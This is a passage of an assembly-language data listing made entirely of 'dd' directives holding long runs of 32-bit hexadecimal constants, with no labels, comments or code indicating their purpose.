		dd 4C548AD8h, 0D513685Eh, 801ABC84h, 0C134D67Eh, 0BE98E5h
		dd 0A41B4DCDh, 9DE94567h, 182D98A8h, 7DF60F12h,	74193E8h
		dd 0BC352960h, 0CC2DBBBBh, 0FE5AA501h, 0A51EF9C5h, 27F652DBh
		dd 95910966h, 0A0B32B3Dh, 0FD058B9Fh, 0CC2072FAh, 0EA564CC8h
		dd 571BF51Dh, 7B6B086Dh, 59EA8807h, 1CA2D005h, 0A1642C84h
		dd 0B753D09Eh, 0B5516300h, 80CDFE52h, 1C473F5h,	0EF30F3C5h
		dd 53414EE9h, 590AD99h,	29EC3D54h, 289BD850h, 3C4FB140h
		dd 31CE4168h, 0E43A0BB1h, 0EF4B0974h, 2E80A00h,	31E92A46h
		dd 0C5E9DC21h, 554D1101h, 0F5A0C87Eh, 10FEB902h, 0FDEF0183h
		dd 7572F438h, 1FDCAAAAh, 0C36E7E27h, 5F0077FAh,	0CEFAAC7h
		dd 98FB01EDh, 0CC935216h, 0E94A373Ch, 21AFD21Bh, 43CA41Ah
		dd 0C2B2C4EEh, 890548F1h, 7058E20Fh, 6095BF00h,	0C731356Ah
		dd 0A1589ABEh, 16469D79h, 0E4493D25h, 408EB0E1h, 459D51D2h
		dd 5AC9A456h, 1D897060h, 0D8387925h, 46AE3014h,	3F9BC3EFh
		dd 4B336718h, 2F7B400Eh, 7554D25Ah, 0BD4EDF96h,	2413D659h
		dd 9D6B628Dh, 847578F9h, 3514E1F3h, 9A97A63Dh, 1122AB77h
		dd 4B3A745Ah, 39051052h, 59506973h, 12ADD8AAh, 13FB81D3h
		dd 1738A6A4h, 5EA33DD4h, 681E044Eh, 2135BECAh, 25977E09h
		dd 0E5F65BD5h, 2C92AC9Ah, 255697E1h, 30CF412Eh,	0E8E32FEAh
		dd 0A1AF5C14h, 277B1B90h, 73209016h, 7C9E699Ch,	0A2C860FFh
		dd 0C2AEE41h, 312257A1h, 13204F1Fh, 30FEF2CBh, 88AD9648h
		dd 660915C3h, 7DCDB450h, 0BAF73B12h, 811AFDCBh,	6A526E7Ch
		dd 0B83A57B4h, 52203F5Ah, 0C3F78041h, 0D5F78093h, 0FB138398h
		dd 0E0044821h, 580BA174h, 5C592CFCh, 0A75BC87Bh, 0BF5ABD40h
		dd 78208370h, 0C33B4B71h, 0FAC11A3h, 0D76CC45Dh, 1007CAAAh
		dd 2D02C472h, 16C1CA3Fh, 50B6E255h, 0E29E2F88h,	68E19F79h
		dd 517832F0h, 0F944BF93h, 1599A2F4h, 0C62882E5h, 138BA03h
		dd 0E3D13C02h, 8ACC7AACh, 0ABE16BE8h, 0E6071550h, 1AD83A8Bh
		dd 14D7F660h, 965E6857h, 126297F8h, 7713AB00h, 48779209h
		dd 136BE5F0h, 6AA67Ch, 1C717253h, 7D828965h, 82806A62h
		dd 0FEC916BDh, 7D06FAB8h, 105BF48h, 12EE4210h, 43F6565Fh
		dd 953CE985h, 0B1D6FCEAh, 0AA04F5D2h, 0B7E6DA4h, 2192D1E7h
		dd 2F5CBF09h, 636C689h,	0FA0C38DEh, 0BF9B35A4h,	3489AA30h
		dd 0E348A1E1h, 9149595Bh, 0BA4B4195h, 9630AA2Dh, 0E76128AFh
		dd 96C506A3h, 0C43F179h, 0D8530F0Bh, 68205520h,	69355DECh
		dd 0CD78C19Dh, 6809A028h, 0DDE65C43h, 0CF35E880h, 2304C182h
		dd 84EEEE54h, 968CEADAh, 0E911C501h, 0B8439059h, 0C0275B95h
		dd 90EBDC3Eh, 53F35BCDh, 0A07AE912h, 6504B917h,	1AC6227h
		dd 0E9B3A4BBh, 49C5F49h, 272C9BBFh, 6C5201EEh, 0D83FF728h
		dd 240656EBh, 0FB29447Ah, 5108801Ch, 0DC14A2B9h, 0E9DA1A7Dh
		dd 406569D7h, 0EB3500E6h, 1764FD7Fh, 1CAA6E16h,	55012900h
		dd 130BB280h, 74917C06h, 847E3112h, 1D7FD08h, 209F8139h
		dd 0D10871A4h, 0D219861h, 0C40FC910h, 414E008h,	0BB068834h
		dd 0BC2028CDh, 16AA208Eh, 31081A20h, 0B620F102h, 8483012Eh
		dd 8968604h, 20709A31h,	3C013620h, 0B4BF014Fh, 0F2A939B1h
		dd 59C80154h, 661B088Ch, 1E93128h, 6B01E127h, 0C1FE01A6h
		dd 88524601h, 873D908h,	0BB08A18Fh, 52010C50h, 0D440AB48h
		dd 93784029h, 0DF1898E3h, 8035C6A1h, 10C4B2E3h,	8A147319h
		dd 0FD721063h, 83F00810h, 201EB318h, 0EE81D20Ah, 9033098Ch
		dd 7A63F818h, 18CA2308h, 8D37D18h, 18C6680Ah, 62594E8Fh
		dd 5577102Ch, 3280D02h,	8105775h, 0F7195326h, 0FEB72087h
		dd 278BA02h, 69033861h,	0B408100Eh, 99C8102Dh, 10838C10h
		dd 0E410983Ah, 0C0032A34h, 105DFA32h, 4DC0A23Fh, 460205ACh
		dd 205FCEBCh, 31B07220h, 0C410759Eh, 151703E2h,	0F4FEE769h
		dd 7637C20h, 198F8E89h,	885F618h, 0D6398831h, 956A0871h
		dd 0ACAB070Ah, 89089799h, 63FC4424h, 0C5A2104Ah, 0D640087Fh
		dd 0D27A40C3h, 0C286A62h, 6BE8A464h, 0A7B1330Ch, 9EE11CCh
		dd 0D4B8A9D5h, 5E5C8451h, 0AFD6088Ch, 4892DE20h, 18395331h
		dd 0CF0276D2h, 51368049h, 21D44C0h, 75E8A65Ah, 99DB6349h
		dd 818B649h, 6518232Bh,	2F6780DDh, 0C14610C4h, 557CB705h
		dd 3F12D08Ch, 41E05962h, 0A805144h, 258C0152h, 4C992892h
		dd 0D36111C0h, 0DD087663h, 0C989207Bh, 1044DC32h, 65DE222Eh
		dd 7049B20Fh, 8E00235Bh, 28212074h, 20835520h, 1A265BFAh
		dd 0CF980C42h, 806B0B28h, 10C6F2E1h, 98085A2Fh,	0E908CA56h
		dd 0EBBF8C9Ch, 4646508h, 0CC44CB30h, 5966067Dh,	44784D18h
		dd 186EFB10h, 0C920B9C6h, 88798157h, 1F5148B9h,	4629B4F4h
		dd 30A2F7C8h, 10C4BA98h, 3B0970EFh, 81BE2C22h, 0E8931D04h
		dd 60090426h, 0C9E8FC9Ch, 74067FA4h, 3C1E47BEh,	3772C78Bh
		dd 0C04F44D6h, 0EB02752Ch, 0E891331h, 3DBDA7B9h, 4400185Ch
		dd 0B49408Fh, 0F73775C9h, 821E948Bh, 0DFF003DEh, 0C0339810h
		dd 0B1180FF0h, 0AC2C304Fh, 1CB030E9h, 5BF82822h, 736B6813h
		dd 0B50986D8h, 0DA431B8Eh, 0B7B8585Bh, 0EF028026h, 2ABDE94Ch
		dd 3B77101h, 0FBA48DEh,	4ABE56EFh, 66575B0Eh, 8F20EEBFh
		dd 3336AF47h, 46B4EAD1h, 1EDD40BEh, 349D815Bh, 0D355F962h
		dd 51E25D27h, 0F201E2E5h, 9A9F8DECh, 0BFAE0013h, 2DB18ACAh
		dd 30A3FA29h, 3C0A4E1Bh, 770AE368h, 7666BA80h, 0B8294A6Ch
		dd 38F13042h, 7553051Eh, 8EC774Eh, 43362D1Fh, 3A1AE929h
		dd 4D81A05Bh, 3BC11EC4h, 0B47F6871h, 0BFAA6D80h, 0DBDE5AC1h
		dd 53E00E4Ah, 68550756h, 0F9D4139Fh, 279939D6h,	0FEF8B473h
		dd 0CC801CC4h, 6CECCE65h, 8F46E50Bh, 70AC078h, 627EB368h
		dd 88B55180h, 0BF7080E9h
		dd 609FED4Eh, 0A8F8215Ch, 2D685F85h, 0F2FE0FF6h, 9EEE9E1h
		dd 8CEF3F81h, 2A35BF0Bh, 0DCA2C3D3h, 0E7E05A0Fh, 3D9F4014h
		dd 0A80A5C90h, 93161572h, 0D47C9602h, 910FDD2Ch, 4555CAE0h
		dd 0E5A122A3h, 60A8D817h, 6313FCF9h, 0C741130h,	2D2DCED1h
		dd 2A7C29E6h, 77171A09h, 728A814h, 8EC5A512h, 7F5FE613h
		dd 6842BF92h, 7959EB68h, 70178237h, 297906A4h, 0CED1CBBh
		dd 5F165D4Bh, 4468A281h, 0C096786Ah, 6FAF3332h,	0E9DD2829h
		dd 0FD015EABh, 0EB079693h, 2204955h, 47B850h, 56D8C20h
		dd 96AA34B1h, 0E60378BDh, 0F82CC1CFh, 3F043654h, 90E78781h
		dd 3FBE708Eh, 2D035329h, 0A10347E5h, 7B6E5ACBh,	2793D969h
		dd 53E59B83h, 0E37D3568h, 442A7727h, 0A739FF9h,	6861500Ah
		dd 0B15F940h, 0EBD1030Eh, 0B54BC381h, 79754F92h, 359F8265h
		dd 0C75077C9h, 46DE852Dh, 5132F2EDh, 0D02A841Fh, 7B779C25h
		dd 0B884A94Bh, 67868300h, 6731C417h, 0D3CBFCC1h, 4824EF69h
		dd 494FF75Ch, 0FC9A5F46h, 68057474h, 0DF340C60h, 114A4C83h
		dd 7D876DEDh, 3E6CC5BEh, 2EAE2F68h, 0BA9CDE73h,	22764E80h
		dd 0D6B164E9h, 0C020AA6Fh, 0BF1C4F09h, 45B5541Eh, 6A680452h
		dd 0C4A5FC72h, 3B912676h, 15577C6Fh, 44B93AD2h,	0DB8F0035h
		dd 5253944Eh, 0D3E4EA89h, 0DEF444A4h, 810291B0h, 49367DE6h
		dd 0A6305D66h, 0DC251296h, 0B1E4F16Eh, 0C365E283h, 0E0BEA984h
		dd 5B53E95Ch, 790CB338h, 53CF6E26h, 0B73278A5h,	120E2DFBh
		dd 0DDBE129Eh, 6878849Fh, 71FF546Dh, 25485B97h,	0EDD5D6D0h
		dd 73F0286Ah, 15F8062h,	2925FE73h, 40DCF1D6h, 0BF41ABB9h
		dd 0CE293117h, 9C5A3EB4h, 0B574253Dh, 1E6475DAh, 0F84EE92Fh
		dd 6D9697CAh, 7DFC7725h, 94E216BBh, 592609F7h, 46F3E8D5h
		dd 0B8044157h, 3ADC7094h, 621F9DC0h, 9A27B027h,	270882ECh
		dd 984215B1h, 0BD02DD6Ah, 97CA5D17h, 0A03144FDh, 8307188Fh
		dd 0E140C212h, 459350BDh, 357F2A68h, 19420CB0h,	4D516AD9h
		dd 940F38C5h, 29807B00h, 265178F0h, 0BBE83F98h,	0FE48B180h
		dd 56A868C1h, 531545C5h, 49F09791h, 90E2536h, 0E924521Bh
		dd 5EAB9230h, 0F3591F54h, 4668F117h, 0C5A66E19h, 6CE29896h
		dd 20BFAB92h, 0B907EB1Eh, 6E72C633h, 0FBF9C706h, 0CF0BF5E9h
		dd 206A88F4h, 2C1305F7h, 0ABC2EFA2h, 45781809h,	7D1D1603h
		dd 9EECE944h, 5E215F72h, 0F0088D75h, 958A2F3Ah,	3F8A347Eh
		dd 4E0DE0A3h, 0EAC96460h, 27822A91h, 0ED028902h, 0C9C59EC2h
		dd 0DAC63232h, 0E2CF09DBh, 9FA09374h, 29438F0Dh, 0AD819B8Bh
		dd 24CA0B16h, 5E49F648h, 47920096h, 53348222h, 655DBB00h
		dd 0E3812E12h, 3D711488h, 920EAA69h, 4B40A462h,	755CBF57h
		dd 0E936EA06h, 2C58DC9Fh, 0CBBF5F59h, 0F1F6D7F2h, 345F6697h
		dd 0AD1088FBh, 685B812Eh, 0ED8A13E5h, 27970CD9h, 0E43BE7Bh
		dd 0F71003FEh, 0CE8796D0h, 877D1ABh, 2C6515B0h,	0A80EDF1Fh
		dd 0D12F1C6Eh, 54A4BD60h, 295D846Fh, 51587EBh, 9B120C1h
		dd 6E7BDE1Ch, 16D863EEh, 480D3E14h, 2A04D992h, 0EC6C8732h
		dd 0E499192Dh, 9520C3CBh, 0C008606Bh, 683B29BAh, 2AF548C7h
		dd 6BBC5CA9h, 5855E0Fh,	2A6B8D7Ch, 26182DFCh, 0DDBA16A3h
		dd 198D2B12h, 43B81501h, 937040FCh, 5A2A7DECh, 5BE8BC70h
		dd 5701B3A9h, 1628373h,	66C701D3h, 65F648A5h, 1179AD02h
		dd 0C8116157h, 167BF305h, 0B06058A1h, 0CF3D2E68h, 90E55412h
		dd 407951Bh, 1C960h, 0B69C0BBh,	0D9293E09h, 40EBBC17h
		dd 2177D752h, 7BB0461Fh, 6F44654Ah, 3C140FCEh, 3A07DB1Ah
		dd 689D81FFh, 0BE264FFAh, 1282E04h, 0B780AA37h,	92FC61E9h
		dd 80EF9062h, 3584ED4h,	0B42D0F24h, 0D80995Ah, 0E9013C4Ah
		dd 0CF233516h, 0E06B0542h, 1AE66033h, 95BE63B7h, 42580809h
		dd 5C606177h, 0BCC85F92h, 30ADD2ABh, 80984FE1h,	7A2DAD0Ah
		dd 90549162h, 4D9B0291h, 0F8011EB6h, 60F758C2h,	8A4695F5h
		dd 3900468Bh, 318F794Ah, 0F1D5E910h, 2C2B683Fh,	490F1C84h
		dd 53041499h, 57BB4098h, 0F40AE419h, 0AA954A4Bh, 0B2F86A2Dh
		dd 605A817Fh, 0D0A95313h, 1967795Bh, 1F7DF0Bh, 0E38AD87Fh
		dd 0DDED604Eh, 4C42BD92h, 0ED680BD8h, 6F127E34h, 16EA35E2h
		dd 4C2A7D6Eh, 682F7950h, 0C0C51B1Ch, 12E10996h,	918BE974h
		dd 884188C9h, 9D5AB23Fh, 0A531C9F1h, 0F8DD26A4h, 51027442h
		dd 966CEEB9h, 510BF573h, 8E16A100h, 71B5CA05h, 0D129C4E4h
		dd 473BDB5h, 1A4DF2AFh,	40862CEDh, 1F2B77A3h, 25D1538Fh
		dd 87E490D8h, 0ADB8235Ah, 7146F101h, 0F7511E9Fh, 1B12CE02h
		dd 405F1DCCh, 118A34Eh,	0B13559A2h, 28446E03h, 0F8A26BEFh
		dd 7AA70AFCh, 10830F3h,	2DB03965h, 0F6992E29h, 43E90C00h
		dd 7C479AB2h, 5FFA26AAh, 0D481381h, 2BCDB319h, 764A8FE0h
		dd 0F3313C14h, 5B045EACh, 34B005F0h, 0ECC18E95h, 0B75B0F2Dh
		dd 0E9551740h, 98F13D5Eh, 4E748B2Ah, 0EE4B178Ah, 6FE97720h
		dd 0F5A4A203h, 0E50830CFh, 9AF3819Ch, 0EC49F55Fh, 0C2A9432Dh
		dd 19F26FC4h, 0CA1AE9C2h, 0C4024EAh, 30C01D4Bh,	3256F405h
		dd 0BAE4EB3Fh, 4ABD58D2h, 9E22AF03h, 0E9B02938h, 0A097A7A2h
		dd 15483245h, 0C209BD70h, 18BB8CDFh, 148038FEh,	894D2920h
		dd 3B182C40h, 2D2CDADh,	0D828D22Ch, 4625D41h, 6B0D8AEh
		dd 5026296h, 40CD77A2h,	0C03E54B4h, 46C2E757h, 0F4B83D47h
		dd 3868A240h, 0AF4B1FDFh, 0C404873Dh, 0AC183CBFh, 0FB29C4Eh
		dd 3A34149Fh, 12B83154h, 20747951h, 7E3A2A45h, 0F5106351h
		dd 29AE9E02h, 0CD0CF62Dh, 8CF0419h, 612D011Ah, 2F496C7Dh
		dd 4F278B3Bh, 0C66943F6h, 1264CF77h, 0B9CEAF5Dh, 9EF6BF5Ch
		dd 4A392809h, 0FDE0770Ah, 81B21D0Dh, 113E0209h,	30FF67h
		dd 501DFCE9h, 0CC491C10h, 0EEBA49B1h, 548FAA14h, 0A99EE90Ch
		dd 2977B310h, 0B57859h,	0F14574B8h, 9C2D12h, 0D261F33h
		dd 25A10464h, 0E9E8D106h, 820B5Bh, 0C0F2B353h, 0C38005EBh
		dd 75FC285Bh, 19E7E67Ch, 54BD10E9h, 0C7E16A5Ch,	199FDC60h
		dd 723FA848h, 0F1C58080h, 62B54B67h, 601D2468h,	595A6223h
		dd 9D58505Fh, 0E98616F1h, 528F939h, 5A59F52Dh, 5623C262h
		dd 4ED6CCD5h, 0CB61BEF3h, 0CC3F3635h, 3D4D4FFCh, 0B8C22800h
		dd 5ADE4638h, 8D60D229h, 0C6B1C002h, 0EE27EBFh,	0FE80D29Fh
		dd 48B9EF0Ch, 0EC10AB48h, 0D0D05FA5h, 0F87AB753h, 51D36075h
		dd 0C3FE58E3h, 73B65202h, 8280E6D0h, 0E1F308DAh, 0A73E6D72h
		dd 0EBE34BD8h, 954F84Ah, 963BC4E9h, 0EA3C6273h,	0C2F406DAh
		dd 980C5263h, 5941E96Bh, 4B0ACEFAh, 99ED85Eh, 39C93E5Bh
		dd 0D16C8401h, 0A2800547h, 96A42F5h, 1EE928CCh,	0DCEBE5E8h
		dd 18621216h, 14F247F0h, 9B27CB7Fh, 0C025EE05h,	0EC04EA5Bh
		dd 1890336Ah, 13586BBh,	79BA5455h, 6A2AE43Fh, 0D7EB9BC5h
		dd 0EA5BA91h, 3C7C114h,	0C6B006E9h, 0E22FF9BFh,	167F9E7Ah
		dd 0D04C9DE2h, 76BA782Dh, 2D4AC36Bh, 86481D2Dh,	791E64CCh
		dd 0F78D2E02h, 985A097h, 33DB5712h, 30657284h, 2D5F06B9h
		dd 1A50531Bh, 56E82905h, 7ED4C2E9h, 680BB3A8h, 94B34A4Dh
		dd 25E332C8h, 0A711E3A4h, 0C9DE013Eh, 0B06EE36Eh, 51920497h
		dd 581B8083h, 6C07E234h, 0B254FD72h, 4457B452h,	4E3CEFF1h
		dd 1DB68DC4h, 83525CAFh, 231C6B9Bh, 0EE45E0F1h,	5695C064h
		dd 0ADCC6208h, 0E98B5B6Fh
		dd 55E542EBh, 2C288C5h,	0CA90A59Ah, 0E09253A2h,	0BB4353F8h
		dd 0E9FBD830h, 549A76F0h, 2E2D3CEAh, 40C35436h,	775250CBh
		dd 0E95B83EEh, 0E292D2BDh, 508E773Bh, 0BFDC755Ch, 90090CDAh
		dd 0FB14E560h, 0E414270Fh, 457D7201h, 28B5E910h, 70F38F6Eh
		dd 5F0913C5h, 165BCCA4h, 0FEF0DDE9h, 2FE8D74h, 0F368583Ah
		dd 0ACF5AF63h, 5256C568h, 9AB96B20h, 1B07266Ah,	122900A3h
		dd 51E93C80h, 58870D40h, 94012BD6h, 29C37DB4h, 5B9647C6h
		dd 35AD0D07h, 3684AB01h, 94BF0812h, 2E16E90Ah, 0B8806227h
		dd 738351D0h, 47F40035h, 0E9403EF3h, 20D8C31Ch,	18B2F558h
		dd 0C13DC06h, 0EC04806Eh, 1850E9D2h, 4523085h, 0FB8609AAh
		dd 515286A0h, 53AB966h,	0E1810763h, 419667A9h, 0BFF11F0Eh
		dd 7A7C257Dh, 3FC81508h, 2E7B688Bh, 0D3BFF0D0h,	0AB12B569h
		dd 4151F22Ch, 0E2E3F838h, 31470926h, 28844E13h,	0F749261Eh
		dd 68BBF7F8h, 0D3F07CDAh, 5D1B6812h, 8BC4D2ACh,	0D7F098A4h
		dd 265F5504h, 1080CD81h, 2F681240h, 0CE986C69h,	931670B2h
		dd 1F09421Ah, 0C794FFFFh, 17D77230h, 2F25F3EFh,	0AE563673h
		dd 0D6669B89h, 184C724Ah, 0D1825DAAh, 7977FF1Dh, 68520359h
		dd 6B0845CFh, 3B01204Eh, 0BE74296Eh, 1270B01Fh,	23031934h
		dd 0FA71D852h, 0F7F72195h, 62D06EF9h, 98FE7929h, 356D0648h
		dd 12313BE7h, 78279B96h, 44D8280Dh, 3A0F25E4h, 53713874h
		dd 423C6CFDh, 4CD5A38h,	0BEDD2984h, 727DAE61h, 4E2499Ch
		dd 0C134F84Dh, 0FA08C0D9h, 0DA0F5876h, 455A205Ch, 0B57169E9h
		dd 831C5759h, 4CBCCE7h,	41685557h, 0F7F3985Dh, 1C111503h
		dd 0D2F6C981h, 39154A9h, 40B507FBh, 1DDAEDE0h, 0E5724E60h
		dd 5E8A18E8h, 9AF161h, 12773BFh, 134C3EB7h, 0EC48DC68h
		dd 7E3C50Dh, 0E90B6E8Bh, 5BA51082h, 0F96E82CBh,	4BAD6800h
		dd 28604EC1h, 0B9045126h, 12701868h, 0E40240E1h, 16145AC7h
		dd 101508Dh, 0CA6ED7B2h, 2D6A6067h, 0B55807A3h,	0A72F2D6Dh
		dd 197D6E0h, 0EFC9FE0Bh, 8A63B6A5h, 0BAB485Eh, 5012F20Eh
		dd 406813A6h, 0C6CD8C2Ch, 46163675h, 0AD844BE9h, 49ADAEBh
		dd 6114685Ah, 8021DFE4h, 0C59FFD29h, 307B8D03h,	0A60D2D50h
		dd 99EA8056h, 32930149h, 6CB669B8h, 56C770CDh, 3152C188h
		dd 0EBA41CA3h, 7C1326E1h, 3E0E540Bh, 0DF3E0441h, 1F58EDADh
		dd 0DD2A6D1Eh, 0E0986086h, 11E24228h, 0C88C8403h, 0EAF03115h
		dd 0F84150A8h, 274D13B4h, 2417AF70h, 2D1E20EBh,	7E49C58Eh
		dd 293109ABh, 0C64E861Bh, 60A74196h, 0AB69572Ch, 42EEC2A3h
		dd 169DF6FEh, 0B42BC06Eh, 0DC09F63Eh, 8603ECC0h, 0A0633D7h
		dd 7DCE6801h, 2B36889Fh, 6DE3BF01h, 0C02B3DE0h,	5A763F76h
		dd 6BB6B00h, 0E974450Ch, 2C29698Ch, 62ED68DFh, 735A3B65h
		dd 40A70C79h, 86186E25h, 7A6AC1EDh, 0B3881384h,	1D4B4855h
		dd 0ABE058A2h, 6CB4E740h, 3B495E40h, 5AD12909h,	5DF68E5h
		dd 201BA973h, 0A25089Bh, 4AA42B02h, 440D20E9h, 7F160B8Bh
		dd 3D006F4Eh, 4AF537EBh, 0E9494105h, 0DC926B25h, 0B765FFC3h
		dd 16A3D395h, 924C4FE9h, 46F9E42h, 1C6C3C5h, 1BC700D0h
		dd 0F30E977Eh, 8E762DAh, 56EB2B08h, 0F1371278h,	3E06E22h
		dd 2D0796DBh, 568BF8F9h, 0DDE79129h, 0C959CBE0h, 67C85B10h
		dd 6D711369h, 9A5C0127h, 0E90C01D3h, 2D2DBB61h,	9364CCDEh
		dd 0EF5A540Bh, 0F07F2989h, 3113FC03h, 21053C99h, 0DCB44567h
		dd 10330FEFh, 5A862571h, 71B51883h, 99D5E90Fh, 67AC21ADh
		dd 5EE21389h, 728EC9FDh, 0BDDF1CDFh, 0E017FF0h,	0C169E14Ch
		dd 2C7803E2h, 57ACA1Fh,	90424849h, 70260A5h, 42D5892Eh
		dd 65EED113h, 0E0F1ECA9h, 95F1EFE9h, 0D8F0F464h, 0D3DDCC58h
		dd 25A37101h, 8FF83340h, 9397DD26h, 0B89CEA1Ah,	6C472E68h
		dd 2D6EC243h, 1F4CBE00h, 904B5AC1h, 9222B8D0h, 0BE4E2B3Bh
		dd 366401F6h, 4201E95Eh, 5011363h, 634C5CFAh, 2D183029h
		dd 12F7EB40h, 0E12868E1h, 66B11818h, 20011E28h,	9160D4F0h
		dd 2DACFA9h, 4A0C4C7Eh,	997A110h, 5BD809h, 7653318Eh, 8EF0BF03h
		dd 6EEA0D04h, 5BC01C2Eh, 41080251h, 1F807F26h, 173D05CEh
		dd 0F1C7294Eh, 644E97D6h, 0B72D1BB0h, 17F5220Bh, 0BE0AA689h
		dd 15B62189h, 0E98668D5h, 2279475h, 5D06CBBDh, 76C41FDh
		dd 0B01A9ED0h, 3E910CFAh, 800C47AFh, 0D15EF0FEh, 284341E1h
		dd 0F0E296CBh, 166E96A5h, 4602BB5Ah, 41EB8025h,	0C3D5CBE6h
		dd 8259E2D7h, 5E2AF8Eh,	4BAE3ADh, 845A8568h, 87E971C0h
		dd 18CB990h, 0C327F8C6h, 240C8069h, 0E947E12Fh,	0D29EAAh
		dd 0FE87B753h, 0EF4CC0CFh, 0ED5873BEh, 127110Ch, 0DCDD1307h
		dd 0BD20699Dh, 40FE62D4h, 7F05D68h, 0E0015E12h,	3D11052Dh
		dd 1E9B6290h, 0D589A3BAh, 3E4D0560h, 0B34E67E3h, 59BA38F0h
		dd 43E9E0B5h, 5069B508h, 94402FC3h, 610D40D0h, 3EDD2C6Ch
		dd 2ED1037h, 56F3ABDh, 0F1BF800Fh, 0C112303Ch, 2B4E85B2h
		dd 42188260h, 0D8BD0A05h, 0A3529F5Ah, 0D802FC4Fh, 0FFC6835Ch
		dd 554E20CCh, 0FCEE57AFh, 722251CBh, 31F20257h,	401B3747h
		dd 16BED228h, 0FB01547Bh, 15EDE60Ah, 0A95BF580h, 9F09CB32h
		dd 7695856h, 613F0727h,	779DE908h, 8BC5E822h, 0EC935267h
		dd 0ACE9E064h, 685F8026h, 0D943052Dh, 9192BFC8h, 1D16493h
		dd 0D53190DFh, 0C1E43A15h, 2B2218F3h, 69CD0C2Eh, 4540C51Bh
		dd 33049DBAh, 507E833h,	0E9F6276h, 0FFECFA75h, 0BD81DAE1h
		dd 6B5647E7h, 90F8204Dh, 12CB341Eh, 0BF037EAFh,	2DE5BA89h
		dd 5EF20277h, 89580721h, 0FA22BB77h, 5A05E8C0h,	0BE9AEE53h
		dd 0F32909DAh, 0C1E89202h, 150DB800h, 631348A2h, 109ED09h
		dd 0A5E6D200h, 5F075521h, 4603EEC1h, 676CEA0h, 0F475765Ch
		dd 0F2611305h, 0C22A20F4h, 171D6BD1h, 28BC2932h, 584A08EAh
		dd 0CA834CC1h, 4894A72Fh, 0A7E1DD1h, 86F84552h,	19743981h
		dd 0FCF48F5Bh, 0DDE97773h, 0D311FC92h, 2C87A808h, 262A030Bh
		dd 0F9CB152Eh, 837102E9h, 3EDBEB1Bh, 6851E89Fh,	302D4A1Bh
		dd 0CF2B2EDEh, 2FFC395Ch, 8D3D7985h, 2B108EB6h,	8D1927B3h
		dd 45C33F75h, 7760E8BEh, 5C2F8597h, 0DDA58E8h, 88EF6D75h
		dd 0FD25AF93h, 0F0351E02h, 77D51ADFh, 504F45F0h, 5CEFA2B0h
		dd 33B1B8Ah, 0EB087C35h, 86D51CC1h, 0E9011882h,	6F64D637h
		dd 50BF3DEFh, 7D269F7Dh, 70315CA5h, 352A7CDFh, 1B063DEh
		dd 7280DF4Bh, 0B57D7B96h, 0F91DBAF0h, 0F4E82D7Ch, 280428B4h
		dd 0BC21E6Bh, 3E87431h,	0FE885A66h, 354F4BC9h, 0DB913036h
		dd 0A584235Fh, 40F42DBAh, 0AF0D62A2h, 1304064Ch, 6C01013Eh
		dd 0C8660C2Dh, 1F6FC860h, 4A039B63h, 3A0705E8h,	620911D1h
		dd 97C1A23Bh, 0B87061FFh, 25B83BEAh, 3D778CF0h,	201743BFh
		dd 545FE8DCh, 0B83A1869h, 0A0CF8B52h, 0C1685CFCh, 0E339F3Fh
		dd 3B6FF5D1h, 564AE532h, 0A65D1252h, 2D680901h,	8935F91Ah
		dd 0AEA4FB70h, 0D851E2CDh, 4C53E990h, 800B0102h, 920708CBh
		dd 90BCB569h, 0F14B98Fh, 29611309h, 0DA7506CFh,	0E0EA6065h
		dd 1E704BF2h, 5CED305Fh, 0C057E24Ah, 4A035635h,	6D629FDCh
		dd 0A573FB75h, 257D1723h, 0BD588E01h, 5A0C6C7h,	0D7E2C5E1h
		dd 0B468C401h, 1CB264Fh, 43A06CACh, 182F965Eh, 2D3F5ECBh
		dd 9581B12h, 631F80BEh,	7C0A4D75h, 0A9C6F5E9h, 1DD76861h
		dd 0CE5363Eh
		dd 0B3E2805Fh, 48FAFD10h, 214D0443h, 3AC02AD1h,	60AB7FD4h
		dd 20F0C2Bh, 0E9804987h, 728B2076h, 13287D0Fh, 32BD4E43h
		dd 267D8BAEh, 5A961FACh, 6D8F1D01h, 6CF01621h, 816A96F9h
		dd 75E50B3Ah, 0B3BBF041h, 0D44933B6h, 9DAF583Ah, 585B4292h
		dd 0BEE44FF8h, 7E52F456h, 0CE69F8DDh, 8AB42F17h, 85347CD6h
		dd 6B8419EAh, 3584A980h, 0FE107645h, 0D1A18D5h,	6501180Ch
		dd 922BE53Dh, 28AFFD40h, 8A4A9AE8h, 7A261940h, 0ED011A8Ch
		dd 0B607CDF4h, 29F0890Dh, 0ED50C309h, 0D9F18103h, 4264276h
		dd 2A7E8570h, 3B87B90Bh, 7DA2BD38h, 118BE12h, 6B0811D5h
		dd 0D7681DF2h, 28AECC4Ah, 3730554Eh, 4A0D6DDDh,	6ED1F26Eh
		dd 4FDBA702h, 55506FF2h, 8649D8D1h, 4C5B659Ah, 0E3136E5Bh
		dd 8F49BC58h, 20EF73B4h, 60DFE632h, 0E8334A2Eh,	0F54CC510h
		dd 0C9D28F12h, 0D520F80Fh, 26410D4h, 0F0029FC7h, 0B9607D69h
		dd 14974B95h, 1703616Fh, 71D1DFF7h, 493A8218h, 0D7D679E3h
		dd 0B2EAD7C8h, 0CF6D2028h, 0F832D124h, 393683BFh, 7FF13103h
		dd 0FE2838BBh, 0CF75E5Bh, 9110B742h, 0BCF6927Fh, 0D57B92BFh
		dd 0E7A55CE2h, 5E12EE84h, 0E9ACDBE8h, 7A976125h, 9DF2EAD9h
		dd 0F091B35Bh, 3129277Fh, 0F88EA80Eh, 6BD7F767h, 0A7577E07h
		dd 1C5FC658h, 1EE90DFh,	0CD9808A0h, 0C2232A41h,	295D2E17h
		dd 5157ED3Ah, 0DCFD09CAh, 0F1B57211h, 698EEAFCh, 2D589855h
		dd 9E32283Eh, 59AC20EAh, 9896D8E7h, 5FF9D3C5h, 584869BEh
		dd 0CA419BB9h, 7E4E816Ah, 1566BE03h, 3EF506B7h,	0DF0FF8D9h
		dd 0A7D56C92h, 0F709932Ch, 0DB977B66h, 96029168h, 0B63F55A5h
		dd 0F7578A70h, 5EFB0225h, 14D6055h, 7A803345h, 9870B72h
		dd 0ED771FA9h, 0D60190C6h, 388C108h, 0ED8076B5h, 14F0686h
		dd 61C50BF0h, 0E96F10EFh, 2BE1253Fh, 9605AAF0h,	0F95817D0h
		dd 0DAA84CCh, 82F515D0h, 17A92402h, 0FB7D1830h,	223D80F6h
		dd 5D04DF9Ch, 0B401AAA3h, 41CCFEBCh, 6BC48002h,	0ECB221B0h
		dd 0C06139ECh, 6D0C06B0h, 235BD268h, 0E5881920h, 0DBC226E9h
		dd 0ED5A9F32h, 0A15BB566h, 3598209h, 0F74D309h,	3353EA8Fh
